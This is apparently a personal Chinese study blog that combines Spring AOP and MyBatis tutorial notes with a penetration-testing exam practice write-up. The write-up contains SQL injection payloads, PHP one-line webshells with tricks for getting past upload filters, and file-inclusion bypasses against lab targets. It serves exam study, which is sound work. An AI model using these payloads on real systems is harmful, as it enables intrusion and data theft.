13
14
package com.kuang.demo03;

public class Client {
    public static void main(String[] args) {
        //真实角色
        Host host=new Host();
        //代理角色
        ProxyInvocationHandler pih = new ProxyInvocationHandler();
        //通过调用程序处理角色来处理我们要调用的接口对象
        pih.setRent(host);
        Rent proxy=(Rent)pih.getProxy();
        proxy.rent();
    }
}

编写公式：（target和object可以随意更改）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.kuang.demo04;

import com.kuang.demo03.Rent;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

//我们会用这个类自动生成代理
public class ProxyInvocationHandler implements InvocationHandler {
    //被代理的接口
    private Object target;

    public void setTarget(Rent target) {
        this.target = target;
    }

    //生成得到代理对象
    public Object getProxy(){
        return Proxy.newProxyInstance(this.getClass().getClassLoader(),target.getClass().getInterfaces(),this);
    }


    //处理代理示例，并返回结果
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        //动态代理的卑职就是使用反射机制实现的
        Object result = method.invoke(target, args);
        return result;
    }
}

11.3 使用Spring实现AOP

方式一：API接口：

（重点）使用AOP织入，需要导入一个依赖包

1
2
3
4
5
6
7
8
<!-- https://mvnrepository.com/artifact/org.aspectj/aspectjweaver -->
<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjweaver</artifactId>
    <version>1.9.8</version>
    <scope>runtime</scope>
</dependency>

UserService.java

1
2
3
4
5
6
7
8
package com.kuang.service;

public interface UserService {
    public void add();
    public void delete();
    public void update();
    public void select();
}

UserServiceImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.kuang.service;

public class UserServiceImpl implements UserService{


    public void add() {
        System.out.println("增");
    }


    public void delete() {
        System.out.println("删");
    }


    public void update() {
        System.out.println("改");
    }


    public void select() {
        System.out.println("查");
    }
}

Log.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.kuang.log;

import org.springframework.aop.MethodBeforeAdvice;

import java.lang.reflect.Method;

public class Log implements MethodBeforeAdvice {
    //method:要执行的目标对象的方法
    //objects:参数
    //target:目标读写
    public void before(Method method, Object[] args, Object target) throws Throwable {
        System.out.println(target.getClass().getName()+"的"+method.getName()+"被执行了");
    }
}

AfterLog.java

1
2
3
4
5
6
7
8
9
10
11
12
package com.kuang.log;

import org.springframework.aop.AfterReturningAdvice;

import java.lang.reflect.Method;

public class AfterLog implements AfterReturningAdvice {
    //returnValue：返回值
    public void afterReturning(Object returnValue, Method method, Object[] args, Object target) throws Throwable {
        System.out.println("执行了"+method.getName()+"方法，返回结果为："+returnValue);
    }
}

applicationContext.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:aop="http://www.springframework.org/schema/aop"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd
       http://www.springframework.org/schema/aop
       http://www.springframework.org/schema/aop/spring-aop.xsd">

    <bean id="userService" class="com.kuang.service.UserServiceImpl"/>
    <bean id="log" class="com.kuang.log.Log"/>
    <bean id="afterLog" class="com.kuang.log.AfterLog"/>

    <!--方式一:使用原生Spring API接口-->
    <!--配置aop:需要导入sop的约束-->
    <aop:config>
        <!--切入点：expression:表达式,execution("要执行的位置")-->
        <aop:pointcut id="pointcut" expression="execution(* com.kuang.service.UserServiceImpl.*(..))"/>
        <!--执行环绕增加-->
        <aop:advisor advice-ref="log" pointcut-ref="pointcut"/>
        <aop:advisor advice-ref="afterLog" pointcut-ref="pointcut"/>
    </aop:config>
</beans>

MyTest.java

1
2
3
4
5
6
7
8
9
10
11
12
import com.kuang.service.UserService;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MyTest {
    public static void main(String[] args) {
        ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");
        //动态代理代理的是接口
        UserService userService = context.getBean("userService", UserService.class);
        userService.add();
    }
}

方法二：自定义类
DitPointCut.java

1
2
3
4
5
6
7
8
9
10
11
package com.kuang.diy;

public class DitPointCut {
    public void before(){
        System.out.println("方法执行前");
    }
    public void after(){
        System.out.println("方法执行后");
    }
}

applicationContext.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:aop="http://www.springframework.org/schema/aop"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd
       http://www.springframework.org/schema/aop
       http://www.springframework.org/schema/aop/spring-aop.xsd">

    <bean id="userService" class="com.kuang.service.UserServiceImpl"/>
    <bean id="log" class="com.kuang.log.Log"/>
    <bean id="afterLog" class="com.kuang.log.AfterLog"/>

    <!--方式一:使用原生Spring API接口-->
    <!--配置aop:需要导入sop的约束-->
<!--    <aop:config>-->
<!--        <!&ndash;切入点：expression:表达式,execution("要执行的位置")&ndash;>-->
<!--        <aop:pointcut id="pointcut" expression="execution(* com.kuang.service.UserServiceImpl.*(..))"/>-->
<!--        <!&ndash;执行环绕增加&ndash;>-->
<!--        <aop:advisor advice-ref="log" pointcut-ref="pointcut"/>-->
<!--        <aop:advisor advice-ref="afterLog" pointcut-ref="pointcut"/>-->
<!--    </aop:config>-->

    <!--方式二：自定义类-->
    <bean id="diy" class="com.kuang.diy.DitPointCut"/>
    <aop:config>
        <!--自定义切面，ref：要引用的类-->
        <aop:aspect ref="diy">
            <!--切入点：-->
            <aop:pointcut id="point" expression="execution(* com.kuang.service.UserServiceImpl.*(..))"/>
            <!--通知-->
            <aop:before method="before" pointcut-ref="point"/>
            <aop:after method="after" pointcut-ref="point"/>
        </aop:aspect>
    </aop:config>
</beans>

MyTest.java

1
2
3
4
5
6
7
8
9
10
11
12
import com.kuang.service.UserService;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MyTest {
    public static void main(String[] args) {
        ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");
        //动态代理代理的是接口
        UserService userService = context.getBean("userService", UserService.class);
        userService.add();
    }
}

方式三：使用注解实现
AnnotationPointCut.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.kuang.diy;

//方式三：使用注解方式实现AOP

import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.annotation.After;
import org.aspectj.lang.annotation.Around;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;

@Aspect //标注这个类是一个切面
public class AnnotationPointCut {
    @Before("execution(* com.kuang.service.UserServiceImpl.*(..))")
    public void before(){
        System.out.println("执行前");
    }

    @After("execution(* com.kuang.service.UserServiceImpl.*(..))")
    public void after(){
        System.out.println("执行后");
    }

    //早环绕增强中，我们可以给定一个参数，代表我们要获取处理切入的点
    @Around("execution(* com.kuang.service.UserServiceImpl.*(..))")
    public void around(ProceedingJoinPoint jp) throws Throwable {
        System.out.println("环绕前");
        //执行方法
        Object proceed = jp.proceed();

        System.out.println("环绕后");
    }

}

applicationContext.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:aop="http://www.springframework.org/schema/aop"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd
       http://www.springframework.org/schema/aop
       http://www.springframework.org/schema/aop/spring-aop.xsd">

    <bean id="userService" class="com.kuang.service.UserServiceImpl"/>
    <bean id="log" class="com.kuang.log.Log"/>
    <bean id="afterLog" class="com.kuang.log.AfterLog"/>

    <!--方式三-->
    <bean id="annotationPointCut" class="com.kuang.diy.AnnotationPointCut"/>
    <!--开启注解支持-->
    <aop:aspectj-autoproxy/>

MyTest.java

1
2
3
4
5
6
7
8
9
10
11
12
import com.kuang.service.UserService;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MyTest {
    public static void main(String[] args) {
        ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");
        //动态代理代理的是接口
        UserService userService = context.getBean("userService", UserService.class);
        userService.add();
    }
}

12.MyBatis-SPring和事务
略吧，以后有用再回来

展开全文 >>

pte刷题笔记

总结：要记住的东西：
sql：
group_concat()
information_schema
columns
information_schema.columns底下的列名：table_schema,table_name,column_name
文件上传：
一句话木马： <?php eval($_POST['a']);?>,变型 <?php echo @system($_POST['a']);?>
研究自带的sqzr.php（之前考试都可以传)
可能会检查文件内容的头，可以复制（也可以copy /b jpg.jpg+sqzr.php result.jpg
反序列化：
尽量找能shell的题目，背下基础的构成以防万一（因为操作机环境没有php)
文件包含：
伪协议（data，远程文件包含）
双写绕过别忘了
referer和xff：
X-Forwarded-For（拼写）

周末抽时间刷了一下pte的基础题，确实挺基础的（说实话比学之前招生老师扔给我的例子简单多了）
一共五道题
1.sql注入
代码：

1
2
3
4
5
6
7
8
9
10
11
12
select * from Article where uuid = '983fd952-df4e-4b63-946f-f2e6bb0327d6'
//simple check

while(strstr($uuid,'--'))
{
    $uuid = str_replace('--','',$uuid);
}

while(strstr($uuid,'#'))
{
    $uuid = str_replace('#','',$uuid);
}

url是http://10.1.11.12:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6

过滤了--和#，老师的做法是就不用注释了，但是这里还有;%00可以用

1.;%00法：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

```uuid=-1 ' union select 1,2,3,4,5,6;%00```:发现回显是2和3

```uuid=-1 ' union select 1,group_concat(table_schema),group_concat(column_name),4,5,6 from information_schema.columns;%00```和```uuid=-1 ' union select 1,group_concat(table_schema),group_concat(column_name),4,5,6 from information_schema.columns;%00```拿到所有库名表名列名

```uuid=-1 ' union select 1,haha,3,4,5,6 from IS_KEY;%00```拿到key

2.不注释（用单引号闭合后面）
```uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6 ' union select 1,2,3,4,5,'6```只有6的时候可以，所以是六个参

其余几乎一样
```uuid=-1 ' union select 1,2,3,4,5,'6```:发现回显是2和3

```uuid=-1 ' union select 1,group_concat(table_schema),group_concat(column_name),4,5,6 from information_schema.columns where '1'='1```和```uuid=-1 ' union select 1,group_concat(table_schema),group_concat(column_name),4,5,6 from information_schema.columns where '1'='1```拿到所有库名表名列名

```uuid=-1 ' union select 1,haha,3,4,5,6 from IS_KEY where '1'='1 ```拿到key







文件上传：
因为能shell，所以直接拿了代码：
index.php
$files = @$_FILES["files"]; if (judge($files)) { $fullpath = '/' . $files["name"]; if (move_uploaded_file($files['tmp_name'], $_SERVER["DOCUMENT_ROOT"] . $fullpath)) { echo "<a href='$fullpath'>图片上传成功</a>"; } } elseif (!(judge($files))&&!empty($files)) { $fullpath = ''; echo "图片上传失败！"; } echo '<form method=POST enctype="multipart/form-data" action=""> <input type="file" name="files"> <input type=submit value="上传" class="btn btn-warning"></form>'; ?> </div> <div class="card-action"> <?php if($fullpath!= '') { echo "文件有效，上传成功： <a href=\"$fullpath\"> 点我查看</a>"; } ?> </div> 
1
2
function.php

//验证MIME头，修改数据包绕过 function step2($files) { if($files['type'] == "image/gif" || $files['type'] == "image/jpeg" || $files['type'] == "image/png" ) { return true; } return false; } //验证文件内容，不能包含eval等敏感函数名，使用其他内容，文件读写 function step3($files) { $content = file_get_contents($files["tmp_name"]); if (strpos($content, "eval") === false && strpos($content, "assert") === false ) { return true; } return false; } //验证文件头 function step4($files) { $png_header = "89504e47"; $jpg_header = "ffd8FFE0"; $gif_header = "47494638"; $header = bin2hex(file_get_contents ( $files["tmp_name"] , 0 , NULL , 0 , 4 )); if (strcasecmp($header,$png_header) == 0 || strcasecmp($header,$jpg_header) == 0 || strcasecmp($header,$gif_header) == 0) { return true; } return false; } function judge($files) { if (step2($files) && step3($files) && step4($files)) { return true; } return false; }

?>

1
2
3
4
5
6
7
8
9
10

可以看见验证了step2，step3，step4
分别对应这type（可伪造），内部函数是否有eval（可以用echo system()替代），还检测了png，jpg，gif的文件头（也可以伪造）

所以先传一个正经图片，然后加上一句话木马```  <?php echo @system($_POST['a']);?>```即可



反序列化：
源码：
1
2
非常简单的一道题，但唯一的问题是：考试的操作机环境没有php
解决方法是利用上面的文件上传shell之后，写入代码（echo "……" >> 1.php）

发现data被过滤了
所以双写page=dadata://ta://text/plan,

方法二：远程文件包含
监听随意端口：
python -m SimpleHTTPServer 8899

然后访问自己的计算机的8899端口：复制一下本地桌面上木马的链接地址（木马的后缀为txt）
然后page=http://本地ip:8899/文件名（去掉.txt）

referer和xff，cookie
签到题，唯一的问题是xff的拼写：X-Forwarded-For
然后傻乎乎的用题目的ip，用127.0.0.1，localhost，0.0.0.0

展开全文 >>

MyBatis笔记

github：全球最大同性交友网站

1.1 获得mybatis：
maven仓库：

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.mybatis/mybatis -->
<dependency>
    <groupId>org.mybatis</groupId>
    <artifactId>mybatis</artifactId>
    <version>3.5.9</version>
</dependency>

github：
中文文档：

1.2 持久层
数据持久化
持久化就是将程序的数据在持久状态和瞬时状态转化的过程
内存：断电即失
持久化：数据库（jdbc），io文件
为什么需要持久化？
有一些对象，不能让他丢掉
内存太贵了

1.3 持久层
Dao层，Service层，Controller层
完成持久化工作的代码块
层是界限明显的

1.4 为什么需要mybatis？
帮助程序员将数据存入到数据库中
方便
传统的JDBC代码太复杂了，简化，框架，自动化
不用Mybatis也可以，学了搭网站更容易上手

之后 Spring SpringMVC SpringBoot

2、第一个Mybatis程序：
思路：搭建环境–>导入Mybatis–>编写代码–>测试

2.1搭建环境
搭建数据库
新建项目
1.新建一个普通的maven项目
2.删除src目录
3.导入maven依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <!--父工程-->
    <groupId>com.kuang</groupId>
    <artifactId>Mybatis-study</artifactId>
    <version>1.0-SNAPSHOT</version>


    <properties>
        <maven.compiler.source>11</maven.compiler.source>
        <maven.compiler.target>11</maven.compiler.target>
    </properties>

    <!--导入依赖-->
    <dependencies>
        <!--mysql驱动-->
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>5.1.49</version>
        </dependency>
        <!--mybatis-->
        <!-- https://mvnrepository.com/artifact/org.mybatis/mybatis -->
        <dependency>
            <groupId>org.mybatis</groupId>
            <artifactId>mybatis</artifactId>
            <version>3.5.9</version>
        </dependency>

        <!--junit-->
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.13.2</version>
            <scope>test</scope>
        </dependency>
    </dependencies>

</project>

2.2 创建模块
编写mybatis的核心配置文件
在maven的src下的resources建立一个mybatis-config.xml文件,从官网上复制代码：（xml的内容不要加注释！！！）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE configuration
        PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
        "http://mybatis.org/dtd/mybatis-3-config.dtd">
<!--configuration核心配置文件-->
<configuration>
    <environments default="development">
        <environment id="development">
            <transactionManager type="JDBC"/>
            <dataSource type="POOLED">
                <property name="driver" value="com.mysql.jdbc.Driver"/>
                <property name="url" value="jdbc:mysql://localhost:3306/mybatis?useSSL=true&characterEncoding=UTF-8&useUnicode=true&serverTimezone=GMT"/>
                <property name="username" value="root"/>
                <property name="password" value="011125"/>
            </dataSource>
        </environment>
    </environments>
    <!--每一个Mapper.xml都需要在Mybatis核心配置文件中注册-->
    <mappers>
        <mapper resource="com/kuang/dao/UserMapper.xml"/>
    </mappers>
</configuration>
编写mybatis工具类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.kuang.utils;

import org.apache.ibatis.io.Resources;
import org.apache.ibatis.session.SqlSession;
import org.apache.ibatis.session.SqlSessionFactory;
import org.apache.ibatis.session.SqlSessionFactoryBuilder;

import java.io.IOException;
import java.io.InputStream;

//sqlSessionFactory -->  sqlSession
public class MybatisUtils {
    private static SqlSessionFactory sqlSessionFactory;
    static {
        try {
            //使用Mybatis，第一步：获取sqlSessionFactory对象
            String resource = "mybatis-config.xml";
            InputStream inputStream = Resources.getResourceAsStream(resource);
            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    //创建可以进行数据库操作的对象
    public static SqlSession getSqlSession(){
        SqlSession sqlSession = sqlSessionFactory.openSession();
        return sqlSession;
        
    }
}

2.3 编写代码
实体类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package com.kuang.pojo;

public class User {
    private int id;
    private String name;
    private String pwd;

    public User() {
    }

    public User(int id, String name, String pwd) {
        this.id = id;
        this.name = name;
        this.pwd = pwd;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getPwd() {
        return pwd;
    }

    public void setPwd(String pwd) {
        this.pwd = pwd;
    }

    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", pwd='" + pwd + '\'' +
                '}';
    }
}
Dao接口
    UserDao.java

1
2
3
4
5
6
7
8
9
package com.kuang.dao;

import com.kuang.pojo.User;

import java.util.List;

public interface UserDao {
    List<User> getUserList();
}
接口实现类(由JDBC的UserDaoImpl转变为Mapper配置文件)
    创建UserMapper.xml的文件（不要加注释！！！）

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
        PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
        "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<!--namespace=绑定一个对应的Dao/Mapper接口-->
<mapper namespace="com.kuang.dao.UserDao">
    <select id="selectUser" resultType="com.kuang.pojo.User">
        select * from user
    </select>
</mapper>

2.4 测试
junit测试

Maven问题：target不生成xml文件（配置文件无法被导出的问题）
解决方法：手动配置资源过滤
maven的配置里（pom.xml）加下面代码：(保险起见，子项目也放一份)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<build>
        <resources>
            <resource>
                <directory>src/main/resources</directory>
                <includes>
                    <include>**/*.properties</include>
                    <include>**/*.xml</include>
                </includes>
                <filtering>true</filtering>
            </resource>
            <resource>
                <directory>src/main/java</directory>
                <includes>
                    <include>**/*.properties</include>
                    <include>**/*.xml</include>
                </includes>
                <filtering>true</filtering>
            </resource>
        </resources>
    </build>

UserDaoTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.kuang.dao;

import com.kuang.pojo.User;
import com.kuang.utils.MybatisUtils;
import org.apache.ibatis.session.SqlSession;
import org.junit.Test;

import java.util.List;

public class UserDaoTest {

    @Test
    public void test(){
        //第一步：获得SqlSession对象
        SqlSession sqlSession = MybatisUtils.getSession();
        //方式一：执行SQL
        UserDao userDao = sqlSession.getMapper(UserDao.class);
        List<User> userList = userDao.selectUser();

        for(User user:userList){
            System.out.println(user);
        }
        //关闭SqlSession
        sqlSession.close();
    }
}

3.增删改查
namespace：包名要和接口一致
查询语句：
id：namespace中的方法名
resultType：Sql语句执行的返回值
parameterType：参数类型

根据id查询用户:
UserDao:

1
2
//根据id查询用户
User getUserById(int id);

UserMapper.xml

1
2
3
<select id="getUserById" parameterType="int" resultType="com.kuang.pojo.User">
    select * from user where id = #{id}
</select>

UserDaoTest.java

1
2
3
4
5
6
7
8
9
10
@Test
public  void getUserById(){
    //第一步：获得SqlSession对象
    SqlSession sqlSession = MybatisUtils.getSession();
    UserDao userDao = sqlSession.getMapper(UserDao.class);
    User user = userDao.getUserById(1);
    System.out.println(user);
    //关闭SqlSession
    sqlSession.close();
}

insert一个用户:
UserDao:

1
2
//insert一个用户
int addUser(User user);

UserMapper.xml(内容不要加注释！！！)（这里必须用对应的insert，不然会出问题，下同）

1
2
3
4

<insert id="addUser" parameterType="com.kuang.pojo.User">
    insert into user (id,name,pwd) values (#{id},#{name},#{pwd})
</insert>

UserDaoTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//增删改需要提交事务!!
@Test
public  void addUser(){
    //第一步：获得SqlSession对象
    SqlSession sqlSession = MybatisUtils.getSession();
    UserDao userDao = sqlSession.getMapper(UserDao.class);
    int res = userDao.addUser(new User(3,"a","b"));
    if(res>0){
        System.out.println("插入成功");
    }
    //提交事务
    sqlSession.commit();
    //关闭SqlSession
    sqlSession.close();
}

修改用户:
UserDao:

1
2
//修改用户
int updateUser(User user);

UserMapper.xml(内容不要加注释！！！)

1
2
3
<update id="updateUser" parameterType="com.kuang.pojo.User">
    update mybatis.user set name=#{name},pwd=#{pwd} where id=#{id};
</update>

UserDaoTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//增删改需要提交事务!!
@Test
public  void updateUser(){
    //第一步：获得SqlSession对象
    SqlSession sqlSession = MybatisUtils.getSession();
    UserDao userDao = sqlSession.getMapper(UserDao.class);
    int res = userDao.updateUser(new User(4,"e","f"));
    if(res>0){
        System.out.println("修改成功");
    }
    //提交事务
    sqlSession.commit();
    //关闭SqlSession
    sqlSession.close();
}

删除用户:
UserDao:

1
2
//删除用户
int deleteUser(int id);

UserMapper.xml(内容不要加注释！！！)

1
2
3
<delete id="deleteUser" parameterType="int">
    delete from user where id = #{id};
</delete>

UserDaoTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//增删改需要提交事务!!
@Test
public  void deleteUser(){
    //第一步：获得SqlSession对象
    SqlSession sqlSession = MybatisUtils.getSession();
    UserDao userDao = sqlSession.getMapper(UserDao.class);
    int res = userDao.deleteUser(4);
    if(res>0){
        System.out.println("删除成功");
    }
    //提交事务
    sqlSession.commit();
    //关闭SqlSession
    sqlSession.close();
}

读错从下往上读！！！

7、万能的Map

1
User addUser2(Map<String,Object> map);

不用new出一个类（对象）
1
2
3
<insert id="addUser2" parameterType="map">
    insert into mybatis.user(id,name,pwd) values (#{userid},#{userName},#{passWord});
</insert>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Test
public  void addUser2(){
    //第一步：获得SqlSession对象
    SqlSession sqlSession = MybatisUtils.getSession();
    UserDao userDao = sqlSession.getMapper(UserDao.class);
    Map<String,Object> map= new HashMap<String,Object>();
    map.put("userid",5);
    map.put("userName","p");
    map.put("passWord","q");
    userDao.addUser2(map);
    //提交事务
    sqlSession.commit();
    //关闭SqlSession
    sqlSession.close();
}

4、配置解析
1.核心配置文件
mybatis-config.xml
environment：环境变量
mappers：映射器
properties：属性
settings：设置
typeAliases：类型别名

environment：环境变量

1
2
3
4
5
6
7
8
9
10
11
12
<environments default="development">
        <environment id="development">
            <transactionManager type="JDBC"/>
            <dataSource type="POOLED">
                <property name="driver" value="com.mysql.jdbc.Driver"/>
                <property name="url" value="jdbc:mysql://localhost:3306/mybatis?
useSSL=false&useUnicode=true&characterEncoding=utf8"/>
                <property name="username" value="root"/>
                <property name="password" value="011125"/>
            </dataSource>
        </environment>
    </environments>

写环境，新建<environment id="">,切换环境:<environments default="">改default的值

type
1
2
3
4
5
6
7
8
9
10
11
12
```<dataSource type="POOLED">```:数据源，用于连接数据库，可以填UNPOOLED|POOLED|JNDI
UNPOOLED：无连接池
POOLED：有连接池（可以让web相应更加流畅）（相当于内存？）
JNDI：EJB使用的

默认的事务管理器是JDBC，连接池POOLED

```<property name="" value=""/>```配置文件
如：<property name="driver" value="com.mysql.jdbc.Driver"/>

properties：(引入外部配置文件)
db.properties

driver=com.mysql.jdbc.Driver
url=jdbc:mysql://localhost:3306/mybatis?useSSL=false&useUnicode=true&characterEncoding=utf8
username=root
password=011125

1
mybatis-config.xml
1
也可以只写mybatis-config.xml：
1
2
3
4
5

都存在时，优先级：db.properties更高

2.别名(typeAliases)
mybatis-config.xml:
1
UserMapper.xml(直接用User)
1
2
3
4

用途二：
扫描实体类的包，它的默认别名就是这个类的类名，首字母小写
例：直接用小写的user
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
在实体类比较少是，使用第一种
如果实体类多，建议使用第二种
第一种可以自定义别名，第二种不行（但是可以在实体类加一个注解来更改其别名，例```@Alias("hello")```）

3.plugins插件
    mybatis-generator-core
    mybatis-plus
    通用mapper
    
5、解决属性名和字段名不一致的问题

假设数据库中的字段是id，name，pwd
类中为id，name，password

那么使用```select * user where id=#{id}```时password的值会返回null
解决方法：
1.起别名：让sql查询出的结果改变```select id,name,pwd as password user where id=#{id}```
2.resultMap
（结果集映射）
1
2
3
4
5
6
7
8
9
10

6、日志
6.1 日志工厂
如果一个数据库操作出现了异常，我们需要排错，日志是最好的助手
曾经：sout，debug
现在：日志工厂
mybatis内置的日志：logImpl：SLF4J（酸辣粉四斤）、LOG4J（重点）、LOG4J2、JDK_LOGGING、COMMONS_LOGGING、STDOUT_LOGGING（重点）、NO_LOGGING

（1）STDOUT_LOGGING：
mybatis-config.xml直接加一句：
1
整体：
1
然后再运行就会显示整个运行过程，非常方便：
Logging initialized using 'class org.apache.ibatis.logging.stdout.StdOutImpl' adapter. PooledDataSource forcefully closed/removed all connections. PooledDataSource forcefully closed/removed all connections. PooledDataSource forcefully closed/removed all connections. PooledDataSource forcefully closed/removed all connections. Opening JDBC Connection Created connection 441001942. Setting autocommit to false on JDBC Connection [com.mysql.jdbc.JDBC4Connection@1a4927d6] ==> Preparing: select * from user ==> Parameters: <== Columns: id, name, pwd <== Row: 1, a, b <== Row: 2, c, d <== Row: 3, a, b <== Total: 3 User{id=1, name='a', pwd='b'} User{id=2, name='c', pwd='d'} User{id=3, name='a', pwd='b'} Resetting autocommit to true on JDBC Connection [com.mysql.jdbc.JDBC4Connection@1a4927d6] Closing JDBC Connection [com.mysql.jdbc.JDBC4Connection@1a4927d6] Returned connection 441001942 to pool. 
1
2
3

（2）LOG4J:
先导入包
log4j log4j 1.2.17 
1
创建log4j.properties，找一个合适的配置贴上去，如：
#将等级为DEBUG的日志信息输出到console和file这两个目的地，console和file的定义在下面的代码 log4j.rootLogger=DEBUG,console,file

#控制台输出的相关设置
log4j.appender.console = org.apache.log4j.ConsoleAppender
log4j.appender.console.Target = System.out
log4j.appender.console.Threshold=DEBUG
log4j.appender.console.layout = org.apache.log4j.PatternLayout
log4j.appender.console.layout.ConversionPattern=[%c]-%m%n

#文件输出的相关设置
log4j.appender.file = org.apache.log4j.RollingFileAppender
log4j.appender.file.File=./log/kuang.log
log4j.appender.file.MaxFileSize=10mb
log4j.appender.file.Threshold=DEBUG
log4j.appender.file.layout=org.apache.log4j.PatternLayout
log4j.appender.file.layout.ConversionPattern=[%p][qinjiang%d{yy-MM-dd}][%c]%m%n

#日志输出级别
log4j.logger.org.mybatis=DEBUG
log4j.logger.java.sql=DEBUG
log4j.logger.java.sql.Statement=DEBUG
log4j.logger.java.sql.ResultSet=DEBUG
log4j.logger.java.sql.PreparedStatement=DEBUG

1
2
3
4
```
    <settings>
        <setting name="logImpl" value="LOG4J"/>
    </settings>

使用输出：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[org.apache.ibatis.logging.LogFactory]-Logging initialized using 'class org.apache.ibatis.logging.log4j.Log4jImpl' adapter.
[org.apache.ibatis.logging.LogFactory]-Logging initialized using 'class org.apache.ibatis.logging.log4j.Log4jImpl' adapter.
[org.apache.ibatis.datasource.pooled.PooledDataSource]-PooledDataSource forcefully closed/removed all connections.
[org.apache.ibatis.datasource.pooled.PooledDataSource]-PooledDataSource forcefully closed/removed all connections.
[org.apache.ibatis.datasource.pooled.PooledDataSource]-PooledDataSource forcefully closed/removed all connections.
[org.apache.ibatis.datasource.pooled.PooledDataSource]-PooledDataSource forcefully closed/removed all connections.
[org.apache.ibatis.transaction.jdbc.JdbcTransaction]-Opening JDBC Connection
[org.apache.ibatis.datasource.pooled.PooledDataSource]-Created connection 1261198850.
[org.apache.ibatis.transaction.jdbc.JdbcTransaction]-Setting autocommit to false on JDBC Connection [com.mysql.jdbc.JDBC4Connection@4b2c5e02]
[com.kuang.dao.UserDao.selectUser]-==>  Preparing: select * from user
[com.kuang.dao.UserDao.selectUser]-==> Parameters: 
[com.kuang.dao.UserDao.selectUser]-<==      Total: 3
User{id=1, name='a', pwd='b'}
User{id=2, name='c', pwd='d'}
User{id=3, name='a', pwd='b'}
